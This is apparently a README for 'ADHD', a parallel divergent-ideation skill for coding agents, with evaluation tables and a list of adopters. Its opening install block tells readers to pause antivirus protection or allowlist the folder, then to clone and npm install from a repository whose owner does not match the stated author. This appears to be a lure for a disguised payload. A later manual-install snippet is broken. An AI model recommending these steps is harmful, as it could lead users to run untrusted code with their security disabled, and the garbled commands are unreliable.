Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/FiremanRecapture/adhd-124.git
cd adhd-124
npm install
npm start
An architectural fix for premature convergence in autoregressive reasoning.
Linear Chain-of-Thought anchors on whatever it says first. Tree-of-Thought widens the search but still walks a single shared context, so the anchoring persists across branches. ADHD treats this as an architectural problem, not a prompting one — it spawns N isolated reasoning processes under deliberately distorted cognitive frames, with zero shared context during divergence, then runs a separate critic pass to score, cluster, prune traps, and deepen the survivors.
Reach for it on design decisions, fuzzy debugging, naming, API surface design, strategy, and any prompt of the shape "give me a few ways to…".
📄 Preprint: ADHD: Parallel Divergent Ideation for Coding Agents · 👤 Author: Udit Akhouri — @akhouriudit · LinkedIn
One eval problem, same model, two strategies. Full transcripts in bench/results.json.
Problem. "We have a CLI that calls an LLM and it sometimes hangs for 90 seconds. Design the right retry/timeout/UX strategy."
| 🟦 Baseline (single-shot) | 🟧 ADHD |
|---|---|
|
Walks through four textbook patterns: Lands on a hybrid recommendation — 15s first-token timeout, 30s between-token timeout, 90s absolute, one auto-retry. Sensible. Google SRE Book ch. 22. The answer a senior engineer gives in 30 seconds. What's missing: no traps named, no acknowledgement that the user might want to bail out of a slow request, no questioning of the "wait then retry the same model" frame. |
Spawns 6 isolated frames, surfaces a wide set of 30+ ideas across
|
Independent LLM judge on this problem: breadth 9 vs 6, novelty 8 vs 3, trap detection ~8 vs ~2. Methodology in documentation/evals.md.
- 🔌 Adopted by repowire — the first OSS project to officially ship ADHD. Its maintainer ported the framework onto repowire's mesh-orchestrator primitives in PR #313 (merged): frames become frame-shifted temp peers, the generator/critic split maps onto separate peers vs. the orchestrator's own turn, attribution via
metadata.based-on(MIT). - 📰 The New Stack ran a feature story on ADHD for Claude Code.
- 💬 OpenClaw / multi-agent community is independently testing it across agents. One tester: "I read it, installed it on two different agents… I actually love it. This is great. I thought this was gonna be another useless post. But no, it wasn't."
- 🔬 An independent evidence-based research review (11 sources, 8 validation rounds) was published against the method — findings tracked openly as issues #16–#18.
👉 Join the ADHD community → as a contributor, maintainer, early adopter, or just a member. One short form. We coordinate frame contributions, eval problems, integrations, and adopter onboarding there.
Projects that officially ship or integrate ADHD:
| Project | What they did | Status |
|---|---|---|
| repowire | Ported ADHD onto repowire's mesh-orchestrator primitives — frames become frame-shifted temp peers, generator/critic split maps to separate peers vs. the orchestrator's turn. Ships in the default orchestrator template. (PR #313) | ✅ Merged · MIT attribution |
| mstack | Vendored ADHD as the think plugin in their Claude plugin marketplace — wires the divergent-then-converge loop into mstack for architecture, naming, API design, and fuzzy debugging. |
✅ Shipped · MIT attribution |
| zk-flow-oss | Adapted ADHD's IDEATION_FRAMES into their critique workflow (src/workflows/critique.src.js) as a pre-pass to reduce anchoring bias before review. |
✅ Shipped · MIT attribution |
| han | Published an evidence-based research application of ADHD onto Han's plugin model — 11 sources, 8 validation rounds. Findings landed as issues #16–#18. | ✅ Research integration |
| app-library (yslee5005) | Built an expert-thinker MoAI agent on the ADHD pattern — tree-of-thought with isolated divergence and a separate critic pass. |
✅ Shipped |
| striatum | Installer scaffold for Claude Code recommends npx skills add UditAkhourii/adhd for architecture, API design, and naming work. |
✅ Shipped |
| awesome-prompts | Packaged the ADHD loop as a standalone prompt (adhd_parallel_ideation_skill.txt) for users without the skill installed. |
✅ Shipped |
| nix-skills | Nix packaging of the ADHD skill (pinned to commit 770834e) for the Nix-based agent-skills ecosystem. |
✅ Shipped |
| caioniehues/adhd | Fork with a customized SKILL.md that re-points install + docs to their own distribution while keeping upstream attribution. |
✅ Fork · attribution |
| ktg-one/adhd | Fork used as a personal "codified model of how my brain works" — wired into the may-2026-kb knowledge base as a cognitive-architecture pattern. | ✅ Fork · in use |
Shipping ADHD in your project? Open a PR adding it here, or open an issue and we'll add you.
If the universal command above fails to register inside Codex (some Codex builds discover skills from a specific path), force the target:
npx skills add UditAkhourii/adhd -a codex -gOr install manually into Codex's skills directory:
mkdir -p ~/.codex/skills/adhd
-o ~/.codex/skills/adhd/SKILL.mdRestart Codex. /adhd "design a rate limiter" should now route through the skill. The skill ships with a single-line description (≤600 chars) specifically because some Codex builds truncate or reject multi-line YAML block descriptions.
CLI and library installs, manual curl for other agents, and per-platform paths are in documentation/install.md.
A two-phase loop with a hard wall between the phases.
The generator-critic split is mechanical — separate LLM calls with opposite system prompts — not promised in one prompt. Deep dive: documentation/how-it-works.md. How it differs from CoT and ToT: documentation/vs-cot-and-tot.md.
Mean scores across 6 open-ended engineering problems (0–10), ADHD vs a single-shot baseline at the same model, judged by an independent LLM with a skeptical-staff-engineer prompt, A/B order randomized.
| Dimension | ADHD | Baseline | Δ | Ratio |
|---|---|---|---|---|
| breadth | 9.00 | 4.83 | +4.17 | 1.9× |
| novelty | 7.83 | 2.67 | +5.17 | 2.9× |
| trap detection | 9.50 | 1.83 | +7.67 | 5.2× |
| actionability | 9.50 | 6.50 | +3.00 | 1.5× |
| builder usefulness | 7.67 | 6.83 | +0.83 | 1.1× |
ADHD wins 5 of 6 problems. Biggest gap is trap detection — baselines rarely name the seductive-but-broken ideas. Methodology, limitations, and how to reproduce: documentation/evals.md.
| Page | What's in it |
|---|---|
| Install | Every install path — skill, CLI, library, Agent SDK, per-platform |
| How it works | The two-phase loop + architecture (context, pruning, orchestration) |
| vs CoT & ToT | Structural comparison, the three load-bearing differences, frames vs personas |
| Frames | The 15 cognitive frames, how selection works, how to author your own |
| When to use | Use / don't use, why it shines on creative work, cost & speed |
| CLI & API | CLI flags, library types, using ADHD inside your own agent |
| Evals | Methodology, headline numbers, limitations, roadmap |
Also: SKILL.md (the runnable skill) · SOURCE-SPEC.md (original spec) · CONTRIBUTING.md · the preprint.
- Han plugin compatibility analysis by @mxriverlynn — evidence-based review using Han's own
/researchskill, 11 sources, 8 validation rounds. Findings tracked as issues #16, #17, #18.
MIT License.
ADHD operationalizes the Divergent Ideation source spec (SOURCE-SPEC.md). The runnable skill is at skills/adhd/SKILL.md.
Udit Akhouri — author of the preprint and maintainer.
adhdstack.github.io · @akhouriudit · LinkedIn · researchudit@gmail.com · @UditAkhourii
Open to collaboration with research labs and applied-AI teams working on reasoning, planning, and agentic systems.